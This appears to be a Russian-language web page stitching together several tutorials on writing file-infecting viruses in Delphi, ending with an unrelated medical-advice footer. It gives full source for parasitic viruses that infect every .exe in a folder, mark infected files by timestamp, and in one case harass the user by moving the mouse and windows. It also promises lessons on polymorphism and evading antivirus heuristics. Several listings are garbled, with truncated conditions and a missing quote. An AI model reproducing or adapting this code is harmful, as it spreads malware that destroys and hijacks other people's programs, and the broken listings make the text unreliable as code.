Как создают свой вирус на delphi

Сначала реализуем первый тип вируса, его алгоритм следующий:
1) Находим жертву
2) Проверяем зараженность – если заражен – ищем дальше, если нет – заражаем.
3) Заражение
. а) Создаём временный файл
. б) Копируем тело виря во временный файл
. в) Копируем в конец временного файла тело жертвы
. г) Удаляем жертву
. д) Переименуем себя в имя жертвы
4) После выхода из поиска запускаем из себя жертву
. а) Проверяем свой размер –
. б) Если больше VirSize – то извлекаем из себя жертву во временный файл
. в) Запускаем жертву
5) Завершаем работу.

. В общем-то, то же самое что и в паскале. Начнём мы разбираться с процедуры проверки заражённости CheckInfect – эта процедура единая для обоих типов вирусов, её сорец, смело наблюдаем ниже:
function CheckInfect(path : string):boolean;
//Функция проверки зараженности - получает путь к файлу
//возвращает True - если не заражено false - если нет
const
SignSize = 64;//Размер сигнатуры
SignPos = 666;//Позиция начала сигнатуры
type
Bufer = array [1..SignSize] of char;//Буфер сигнатуры
var
F1 : file;
F2 : file;
FM : word;
SignBuf : Bufer;
VictBuf : Bufer;
begin
FM:=FileMode;//сохраняем FileMode
FileMode:=0;//Режим работы с файлом - только чтение
AssignFile(F1, Paramstr(0));//Ассоциируем F1 с путём к себе
AssignFile(F2, path);//Ассоциируем F2 с путём к жертве
Reset(F1,1);//Открываем себя
Reset(F2,1);//Открываем жертву
seek(F1,SignPos);//Переходим в себе на позиция сигнатуры
seek(F2,SignPos);//Переходим в жертве на позиция сигнатуры
BlockRead(F1,SignBuf,SignSize);//Читаем в себе сигнатуру
BlockRead(F2,VictBuf,SignSize);//Читаем в жертве сигнатуру
if SignBuf<>VictBuf//Сравниваем сигнатуры
then Result:=true //Если не равны - true
else Result:=false;// Если не равны - false
CloseFile(F1);//Закрываем себя
CloseFile(F2);//Закрываем жертву
FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;

. Такова, уж, головнячность работы с файлами в Delphi и от этого ни куда не уйти (конечно, если юзнуть API то об этих мелочах можно забыть, но в этом уроке мы пишем в чистом Delphi).
. Без лишних отступлений переходим к процедуре заражения (Infect), её назначение я думаю уже и так понятно. А её работа выше рассмотрена, да и комментариев в исходнике, я как обычно, не жалел. Смотрим и соображаем:
Procedure Infect(path:string);//Процедура заражения - получает путь к жертве
var
sr : TSearchRec;//Поисковая переменная
F : File;
begin
findfirst(path,faAnyFile-faDirectory,SR); //Ищем файл жертвы в указаном пути
if (SR.Size>VirSize) or (SR.Size VirSize then //Если наш размер более VirSize - значит вирь запущен из жертвы..
begin
CopyData(paramstr(0),TmpName,VirSize,0,0,true);//Копируем из себя жертву во временый файл
winexec(TmpName,1);<запускаем жертву, если она есть>
end;
end;

. Единственным, на первый взгляд, необычным моментом этой процедуры, является – импорт функции winexec из kernel32.dll, но если вы читали урок 4, в котором описано как импортировать функции из системы, для вас это не составит проблем. В целом, если подключить модуль windows к проекту, необходимость в импорте пропадёт, но зачем нам лишний модуль, пора уже учиться избавляться от всего лишнего. В целом любой толковый (в нашем случае теоретический) вирусописатель, должен всегда думать о размере своего творения, хотя многие говорят, что при современных объёмах хардов – это неактуально… Короче не хочу я их переубеждать ибо они нули и не понимают в этом ни чего… Ой, что-то я отвлёкся, продолжим рассмотрение этого типа вирусов.
. Ниже я приведу полный исходник вируса этого типа, т.о. коллекция нашего совместного труда пополнится новым достижением, а дальше мы без особой раскачки перемоем кости второму типу HLLP вирей:
program VirusHLLP1_execom;
uses
sysutils;

function CheckInfect(path : string):boolean;
//Функция проверки зараженности - получает путь к файлу
//возвращает True - если не заражено false - если нет
const
SignSize = 64;//Размер сигнатуры
SignPos = 666;//Позиция начала сигнатуры
type
Bufer = array [1..SignSize] of char;//Буфер сигнатуры
var
F1 : file;
F2 : file;
FM : word;
SignBuf : Bufer;
VictBuf : Bufer;
begin
FM:=FileMode;//сохраняем FileMode
FileMode:=0;//Режим работы с файлом - только чтение
AssignFile(F1, Paramstr(0));//Ассоциируем F1 с путём к себе
AssignFile(F2, path);//Ассоциируем F2 с путём к жертве
Reset(F1,1);//Открываем себя
Reset(F2,1);//Открываем жертву
seek(F1,SignPos);//Переходим в себе на позиция сигнатуры
seek(F2,SignPos);//Переходим в жертве на позиция сигнатуры
BlockRead(F1,SignBuf,SignSize);//Читаем в себе сигнатуру
BlockRead(F2,VictBuf,SignSize);//Читаем в жертве сигнатуру
if SignBuf<>VictBuf//Сравниваем сигнатуры
then Result:=true //Если не равны - true
else Result:=false;// Если не равны - false
CloseFile(F1);//Закрываем себя
CloseFile(F2);//Закрываем жертву
FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;

Procedure CopyData(FromF,ToF:string; FromPos,ToPos,Count:integer;rw:boolean);
//Процедура переноса данных из одного файла в другой
//FromF - путь к файлу источнику
//ToF - путь к файлу приёмнику
//FromPos - позиция начала чтения в файле источнике
//ToPos - позиция начала чтения в файле приёмнике
//Count - количество считываемых байт
//rw - если True - то файл приёмник надо перезаписать (создать), если false - открыть
var
F : file;
NR : integer;
FM : word; //Переменная для сохранения FileMode
Buf : array [1..999999] of byte; //Буфер
begin
FM:=FileMode;//сохраняем FileMode
FileMode:=0;//Режим работы с файлом - только чтение
AssignFile(F, FromF);//Ассоциируем к с путём к файлу источнику
Reset(F, 1);//Открываем источник
seek(F,FromPos);//Переходим в источнике на позиция чтения
if Count=0 then Count:=FileSize(F);//Если Count=0 то читаем весь буфер
BlockRead(F, Buf, Count, NR);//Чтаем в буфер
CloseFile(F);//Закрываем источник
FileMode:=2;//Режим работы с файлом - только запись
AssignFile(F, ToF);//Ассоциируем с путём к файлу приёмнику
if rw then Rewrite(F, 1)//Открытие с перезаписью
else Reset(F, 1);//Открытие с перезаписью
if FileSize(F)<>0 then seek(F,ToPos); //Если не равно 0 то переходим в файле приёмнике на заданную позицию
BlockWrite(F, Buf, NR);//Пишем буфер
CloseFile(F); //Закрываем файл приёмник
FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;

Procedure Infect(path:string);//Процедура заражения - получает путь к жертве
var
sr : TSearchRec;//Поисковая переменная
F : File;
begin
findfirst(path,faAnyFile-faDirectory,SR); //Ищем файл жертвы в указаном пути
if (SR.Size>VirSize) or (SR.Size VirSize then //Если наш размер более VirSize - значит вирь запущен из жертвы..
begin
CopyData(paramstr(0),TmpName,VirSize,0,0,true);//Копируем из себя жертву во временый файл
winexec(TmpName,1);<запускаем жертву, если она есть>
end;
end;

Ну что, уважаемые, бдительные нелюбители 273 статьи нашего драгоценного уголовного кодекса, посмотрели исходник? Продолжаем…

Плавненько, но решительно переходим к рассмотрению второго типа HLLP вируса. Алгоритм его работы не многим отличается от предыдущего, в отличии от паскального и имеет следующий вид:
1) Находим жертву
2) Проверяем зараженность – если заражен – ищем дальше, если нет – заражаем.
3) Заражение
. а) Копируем у жертвы из начала кусок данный размером VirSize
. б) Переходим в конец жертвы. Дописываем скопированный кусок.
. в) Копируем с перезаписью на место первых VirSize байт жертвы тело вируса.
4) После выхода из поиска запускаем из себя жертву
. а) Проверяем свой размер –
. б) Если больше VirSize – то извлекаем из себя сначала первый фрагмент жертвы из конца во временный файл, а затем второй фрагмент идущий от VirSize-ного байта с начала до VirSize-ного байта с конца.. Вроде ни чего не перепутал.. Т.о. жертва восстановлена во временном файле.
. в) Запускаем жертву
5) Завершаем работу.
. Как видите всё достаточно просто, поэтому преступаем к рассмотрению девиантных (отличающихся) моментов этого типа виря.
. Функция CheckInfect, как я уже говорил, идентична с первым типом. Процедура CopyData отличается некоторыми, специально-заточенными условиями, необходимыми этому типу, а в целом очень похожа, вот её исполнение:
Procedure CopyData(FromF,ToF:string; FromPos,ToPos,Count:integer;rw:boolean);
//Процедура переноса данных из одного файла в другой
//FromF - путь к файлу источнику
//ToF - путь к файлу приёмнику
//FromPos - позиция начала чтения в файле источнике
//ToPos - позиция начала чтения в файле приёмнике
//Count - количество считываемых байт
//rw - если True - то файл приёмник надо перезаписать (создать), если false - открыть
var
F : file;
NR : integer;
FM : word; //Переменная для сохранения FileMode
Buf : array [1..999999] of byte; //Буфер
begin
FM:=FileMode;//сохраняем FileMode
FileMode:=0;//Режим работы с файлом - только чтение
AssignFile(F, FromF);//Ассоциируем к с путём к файлу источнику
Reset(F, 1);//Открываем источник
if FromPos=1 then FromPos:=FileSize(F)-VirSize;//Если 1 то переходим на VirSize байт с конца
seek(F,FromPos);//Переходим в источнике на позиция чтения
if Count=0 then Count:=FileSize(F);
//Если Count=0 то читаем весь файл до конца
if Count=1 then Count:=FileSize(F)-VirSize;
//Если Count=1 то читаем файл с заданой позиции до VirSize байта с конца
BlockRead(F, Buf, Count, NR);//Читаем в буфер
CloseFile(F);//Закрываем источник
FileMode:=2;//Режим работы с файлом - только запись
AssignFile(F, ToF);//Ассоциируем с путём к файлу приёмнику
if rw then Rewrite(F, 1)//Открытие с перезаписью
else Reset(F, 1);//Открытие с перезаписью
if ToPos>0 then //Если ,больше 0 то переходим в файле приёмнике на заданную позицию
begin
if ToPos=1 then ToPos:=FileSize(F);//Если 1 то переходим в конец файла
seek(F,ToPos);//Переход на позицию в файле
end;
BlockWrite(F, Buf, NR);//Пишем буфер
CloseFile(F); //Закрываем файл приёмник
FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;

. Если читали коменты и мозг с утра стоит парадный, то думаю, всё ясно!!
. Процедура заражения и запуска ,так же, как и у предыдущего пациента, весьма сильно завязаны на применении процедуры CopyData привожу обе процедуры одним махом, смотрим и удивляемся!
Процедура Infect для второго типа HLLP вируса:
Procedure Infect(path:string);//Процедура заражения - получает путь к жертве
var
sr : TSearchRec;//Поисковая переменная
begin
findfirst(path,faAnyFile-faDirectory,SR); //Ищем файл жертвы в указанном пути
if (SR.Size>VirSize) and (SR.Size VirSize then //Если наш размер более VirSize - значит вирь запущен из жертвы..
begin
CopyData(paramstr(0),TmpName,1,0,VirSize,true);
//Копируем из себя первый фрагмент жертвы переносимый в конец при заражении во временный файл с его созданием
CopyData(paramstr(0),TmpName,VirSize,1,1,false);
//Копируем из себя копируем из себя второй фрагмент жертвы и дописываем его в конец первого
winexec(TmpName,1);<запускаем жертву, если она есть>
end;
end;

Ну что, всё ясно?? Теперь переходим ко второму сегодняшнему прянику, а именно к полному исходнику второго типа HLLP вируса, я надеюсь, не сильно вас сегодня перегрузил информацией? Желательно осваивать статью не на слух и вид, а только лишь на практике, тогда всё то что, я здесь распинаюсь, дойдёт, до вашего осознания.. Вот исходничек:
program VirusHLLP2_execom;
uses
sysutils;

function CheckInfect(path : string):boolean;
//Функция проверки зараженности - получает путь к файлу
//возвращает True - если не заражено false - если нет
const
SignSize = 64;//Размер сигнатуры
SignPos = 666;//Позиция начала сигнатуры
type
Bufer = array [1..SignSize] of char;//Буфер сигнатуры
var
F1 : file;
F2 : file;
FM : word;
SignBuf : Bufer;
VictBuf : Bufer;
begin
FM:=FileMode;//сохраняем FileMode
FileMode:=0;//Режим работы с файлом - только чтение
AssignFile(F1, Paramstr(0));//Ассоциируем F1 с путём к себе
AssignFile(F2, path);//Ассоциируем F2 с путём к жертве
Reset(F1,1);//Открываем себя
Reset(F2,1);//Открываем жертву
seek(F1,SignPos);//Переходим в себе на позиция сигнатуры
seek(F2,SignPos);//Переходим в жертве на позиция сигнатуры
BlockRead(F1,SignBuf,SignSize);//Читаем в себе сигнатуру
BlockRead(F2,VictBuf,SignSize);//Читаем в жертве сигнатуру
if SignBuf<>VictBuf//Сравниваем сигнатуры
then Result:=true //Если не равны - true
else Result:=false;// Если не равны - false
CloseFile(F1);//Закрываем себя
CloseFile(F2);//Закрываем жертву
FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;

Procedure CopyData(FromF,ToF:string; FromPos,ToPos,Count:integer;rw:boolean);
//Процедура переноса данных из одного файла в другой
//FromF - путь к файлу источнику
//ToF - путь к файлу приёмнику
//FromPos - позиция начала чтения в файле источнике
//ToPos - позиция начала чтения в файле приёмнике
//Count - количество считываемых байт
//rw - если True - то файл приёмник надо перезаписать (создать), если false - открыть
var
F : file;
NR : integer;
FM : word; //Переменная для сохранения FileMode
Buf : array [1..999999] of byte; //Буфер
begin
FM:=FileMode;//сохраняем FileMode
FileMode:=0;//Режим работы с файлом - только чтение
AssignFile(F, FromF);//Ассоциируем к с путём к файлу источнику
Reset(F, 1);//Открываем источник
if FromPos=1 then FromPos:=FileSize(F)-VirSize;//Если 1 то переходим на VirSize байт с конца
seek(F,FromPos);//Переходим в источнике на позиция чтения
if Count=0 then Count:=FileSize(F);
//Если Count=0 то читаем весь файл до конца
if Count=1 then Count:=FileSize(F)-VirSize;
//Если Count=1 то читаем файл с заданной позиции до VirSize байта с конца
BlockRead(F, Buf, Count, NR);//Читаем в буфер
CloseFile(F);//Закрываем источник
FileMode:=2;//Режим работы с файлом - только запись
AssignFile(F, ToF);//Ассоциируем с путём к файлу приёмнику
if rw then Rewrite(F, 1)//Открытие с перезаписью
else Reset(F, 1);//Открытие с перезаписью
if ToPos>0 then //Если ,больше 0 то переходим в файле приёмнике на заданную позицию
begin
if ToPos=1 then ToPos:=FileSize(F);//Если 1 то переходим в конец файла
seek(F,ToPos);//Переход на позицию в файле
end;
BlockWrite(F, Buf, NR);//Пишем буфер
CloseFile(F); //Закрываем файл приёмник
FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;

Procedure Infect(path:string);//Процедура заражения - получает путь к жертве
var
sr : TSearchRec;//Поисковая переменная
begin
findfirst(path,faAnyFile-faDirectory,SR); //Ищем файл жертвы в указанном пути
if (SR.Size>VirSize) and (SR.Size VirSize then //Если наш размер более VirSize - значит вирь запущен из жертвы..
begin
CopyData(paramstr(0),TmpName,1,0,VirSize,true);
//Копируем из себя первый фрагмент жертвы переносимый в конец при заражении во временый файл с его созданием
CopyData(paramstr(0),TmpName,VirSize,1,1,false);
//Копируем из себя копируем из себя второй фрагмент жертвы и дописываем его в конец первого
winexec(TmpName,1);<запускаем жертву, если она есть>
end;
end;

. Вот и получили, то к чему шли.. Как я думаю, вы догадываетесь, на следующем уроке будем делать то же, что и на этим и предыдущем уроках, только на microDelphi. А что дальше? – скажите вы! Дальше мы будем учиться делать настоящие вирусы, а имено будем учиться, размножать вирусы за пределами своей папки, методам автозагрузки, шифрованию себя и жертвы, полиморфности, вампиризму, техникам обхода систем эвристического контроля и многому, многому другому. Далее мы будем осваивать всю гамму файлово-вирусной заразы, на ассемблере, а затем перейдем к такому же исследованию остальных видов угроз. Так же, на протяжении всего этого времени, мы будем четко понимать и не забывать, что всё это только лишь для развлечения, забавы и обучения, а так же защиты себя, но вовсе не для разрушения, не будьте вандалами – это плохо.

HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е. программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.

HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация HLLC - более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.

HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади - тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.

Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:MZТело злобного вируса
MZКод программы

Что такое MZ, я думаю, ты догадался :) Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла :) А вписал я их сюда только для того, чтобы ты понЯл - заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим - будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:MZтело злобного вируса
XORed часть ориг. проги
Неизменная часть ориг. проги

В этом случае структура зараженного файла не будет так понятна. Я не зря тут (в классификации, в смысле) так распинаюсь - parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:

Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга - вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.

Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы ;) Кстати, макро вирусы очень просты и легко определяются эвристикой.

Дошли :) Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай :) Мы будем работать только с DPRом, содержащим:

program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;

Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все :) Базовая конструкция вируса выглядит именно так.

Объяви теперь для своего могучего мозга следующие переменные и константы:

VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;
Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю, ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме infected - это признак зараженности найденного файла и VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь. Кодим далее :) Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:

SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\windows\program.exe',false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,'c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= '_'+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее :)
ErAsE (pr);
Erase (my);

Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно. А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы - на Delphi.

Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно :) Все остальное понятно без всяких комментариев (если нет завязывай прогуливать информатику ;)), идем дальше:

result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;
//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;

Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению :)

Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.

Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием WinAPI.

AssignFile - в WinAPI нет аналога - сопоставляет файл с переменной типа File или TextFile

Reset - аналоги _lopen и CreateFile - открывает существующий файл и устанавливает позицию чтения в начало

ReWrite - _lcreate и CreateFile - создает новый файл и уст. позицию чтения в начало. Если скормить ReWrite существующий файл, его содержимое будет обнулено

BlockRead - _lread и ReadFile - читает в буфер определенное количество данных из файла

BlockWrite - _lwrite и WriteFile - соответственно, пишет данные в файл

SeekFile - _llseek и SetFilePointer - перемещает позицию чтения/записи в открытом файле

CloseFile - _lclose и CloseHandle - закрывает открытый файл

Erase - DeleteFile - удаление файла

FindFirst - FindFirstFile - поиск файла по критериям

FindNext - FindNextFile - поиск следующего файла

Итак, моя новая статья посвящена вирмэйкерству в особо извращенной форме. Посещая множество форумов и сайтов по сетевой безопасности и программированию, я столкнулся с мнением, что написать компактный и хоть сколько-нибудь опасный вирус на дельфи нельзя…

Что же, я развею этот миф, более того на глазах у изумленной публики создам виря размером
23.40 Кб, который будет полноценно размножаться и мешать работе системы.

Итак, наши инструменты:

  • Борланд Дельфи 7.0 Enterprise Edition
  • UPX PE packer
  • Прямые руки 🙂

1. Запускаем вирус.
2. Происходит проверка, на запуск тела вируса или зараженной программы.
3. Если запущенно тело вируса, то переходим к заражению.
4. У нас запущена зараженная прога, ура! Распакуем прогу из хвоста файла, задав ей имя от балды и ждем когда юзверь закончит с ней работать.
5. Пока юзверь работает мешаем ему как можем.
6. Бедный пользователь ПК сдался, ему надоели глюки и он закрыл прогу, затираем созданный файл
(тот, который мы распаковали) и продолжаем инфицировать
своих соседей по каталогу.
7. Выходим из программы.

Вот собственно и все, что мой вирус может, а теперь реализация.
Для начала пишем скелет программы:

program zverofil;
uses sysutils,windows;
const virsize=23040;
var victims:tsearchrec;
f1,f2:file;

Вот с чего мы начинаем, к сожалению мне не удалось выкинуть Sysutils , иначе размер бы ужался до 13Кб.
Процедура заражения выглядит вот так:

procedure infect(victim:string);
var
a:integer;

Buf: array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'bad'+inttostr(a)) ;
filemode :=0;
assignfile(f2,paramstr(0));
reset(f2,1) ;
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2 ;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'bad'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BlockRead(f2, Buf,virsize, NR);
BlockWrite(f1, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
closefile(f1);
closefile(f2);
deletefile(pchar('bad'+inttostr(a)))
except
end;
end;

Except`ы добавлены из соображения секретности, если вирус наткнется на файл, не дающий добро на запись, он тихо и мирно выйдет из процедуры. Иначе пользователя побеспокоит сообщение “File I/O Error” , а нам это ни к чему.

filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
if filesize(f1)>virsize then go;
closefile(f1);
filemode :=2;

Filemode временно переводит программу в ReadOnly, иначе она не даст нам посчитать размер файла и выдаст ошибку.

Поиск и заражение жертв реализуется так:

if FindFirst('*.exe', Faanyfile, victims) = 0 then
repeat
if not ((victims.Name)=extractfilename(paramstr(0))) then begin
if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name);

end;
until FindNext(victims)<>0 ;

Ну и код выполнения самой зараженной проги будет таким:

procedure go;
label 10;
var
Buf: array[1..virsize] of byte;
rect:trect;
nr,nw:longint;
begin
////
try
filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
filemode :=2;
assignfile(f2,paramstr(0)+'.exe');

rewrite(f2,1);
seek(f1,virsize);
seek(f2,0) ;
repeat
filemode :=0;
BlockRead(f1, Buf,virsize, NR);
filemode :=2;
BlockWrite(f2, Buf, NR, NW);
until (NR = 0) or (NW <> NR) ;
closefile(f1);
closefile(f2);

winexec(pchar(paramstr(0)+ '.exe'), SW_show);
10:

if not deletefile(pchar(paramstr(0)+'.exe')) then begin ;
setcursorpos(random(800),Random(600));
getwindowrect(GetForeGroundWindow,rect);
setwindowpos(GetForeGroundWindow, HWND_TOPMOST,rect.left+1,rect.top+1,
rect.left+45,rect.left+45, SWP_NOSENDCHANGING );
setwindowtext(GetForeGroundWindow, 'Antiviruses SUXX! (c)Zerofill');

sleep(400);
goto 10;
end;

Прошу обратить внимание на последнюю секцию – глумление над пользователем, который работает с зараженной прогой.
Мы просто берем и дергаем мышку, а окно самой нужной программы уезжает влево и вниз. Для извращенцев – можете поменять параметр sleep;

Читайте также:

Пожалуйста, не занимайтесь самолечением!
При симпотмах заболевания - обратитесь к врачу.